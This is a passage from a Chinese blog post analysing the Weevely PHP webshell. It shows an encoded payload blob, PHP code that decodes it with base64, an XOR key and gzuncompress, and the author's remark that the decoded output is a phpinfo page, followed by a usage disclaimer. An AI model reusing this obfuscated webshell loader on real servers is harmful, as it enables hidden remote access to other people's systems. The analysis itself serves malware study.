3RMPtFdIiu9vohh+AP2XVrq1u00ry9fVzjUqulNgxLnXqpLzLOKepPJ/v8Nk6OpcsSnvFQJ2aB55fxsBjN6Pk9tMIH8Hfl2+SeHUAXPHlaCKcQ0a73VG2YFqo6iDjcQdGOI5JtGmR4Oc4Wq/rGXNLHNZo2p9SHdyoRSvM7UOzz5hBnAdp1omirRbbsgIuKInwsN5QKgbPpH9mFSZMuUDT/KfvqJpUSepo/uocbipFyIYf1vTWfNfWQAGu1TpwUBpCYXU6uPsuMG6vP4vIaq6v7+1HDpdZdInWD7wkT/tiBUgPXu9yit1A8PSf7UaDoK5cM4K2nh6EPa+DAE/fp+o7qSC1Z+QeXHv9Ij6/Iy1x55YWcZgXw1ACVOnfr6/3n9X/UtookFPErTnuREswuBfQQJ/zLHt3km1KZZu5FbJjxN6IWdlELUfV88r0mFGNwrHBOmCE9bJSn3rw2VRKhkGgKu5wIEXTmdMOfD4282qOBXHSEYIr3sosxC91OozQ1moHzB/GnDhYByCotamphgjPrANE3qTGONQ/R4Ujld719j4ECgnYaTuxZpuv4UyFHh4HgAheS6YzHOYbuAToA9aIIrVDx5j0pTDllc1qDk1b4RW8EWBm/JMQDNurmkoAz8X5Arm9IEsfVCK66TCk370ChzMRdHOGpt/wAc2HcQ7vH//jHgOr6+7nsZ4n1QXCWHTBJ4C1JQTWKzFtZoWdG1rAcdbLr8xsK4cOFeErZaJLLWkb6CPAvqaKyLWXq8U26Sw8WJz5uO5n5uneU5D86QEWym/szu2Z3MGHgg8Ok4wsjHZ12hvozUHEb8wTPjchjowYqogssO9wWibVQycyuZWc7vFDG2tyJGAu/1dOvsAeW1SqG68jtryhw0jH+YlkgOCTohuvXZx/uz7z+5zIE43ntuO7pCJHXj+aubRG9oTnY0kxztf4/Gi6vYP9X7a3S4k8+uD3UZSv8/Mz1B3aStck549lIqwgARTqgDtVQ6Xr26UO6CTYjKcq/XPXemjCga7zmkTFNwbe3U2wab+k1v+vQbFp+waljTBS55nN6FHT33GfHA3T7AxjgDlXuC5WNc4svEKCTxAcbANEpTteyJKk5MgpyvYAROypGua7WHFUuR7iIh8PL1k9Lwb+dZ5YeXxGj2XlT3bQafgn3o+JoJOmmgA/aKllzY1WTdCg1T9KB2wHmk+LSSxS1oTzf7HweRad8/Xmg/NQeFekiRqrO5Vhyijr+A3I2s7Ml4zEUUz4TBR8eIgRovKF4FNeaMYJS2/kQOrcoikJEHSr0u9m5NK9w6kTuez5MJiOllKEunOKQjJS6zftETbjMQ7cUyLApGnBSJo8658FMnKqZabtjtRxgv3SEcS54P7rpxJiZk+hLuMI9sSkYNxNgvgojmV7EIg4jB5/9uFlZGonAZ7tlZko/3ObHl46aaBGanoU=85a89e92c410
EVIL;

$res = str_replace(['cbbf9691e009', '85a89e92c410'], '', $res);

echo(@gzuncompress(@x(@base64_decode($res), 'c6ae1e70')));

访问一下, 哇! 好大的一个PHPinfo啊!

Weevely PHP 马分析

Ending...

从前有个黑客, 他不用什么冰蝎, 哥斯拉, 蚁剑, 他就喜欢自己研究世界上最最最最最最最最最最最最牛逼的《异或马》, 嘻嘻. 我崇拜, 这个黑客也写了自己的黑客工具, 专门用于连接 shell 的, 小心你们的电脑被黑!

原文始发于微信公众号(Heihu Share):周六小夜宵 | Weevely PHP 马分析

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  • 本文由 发表于 2024年12月2日11:48:11
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                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

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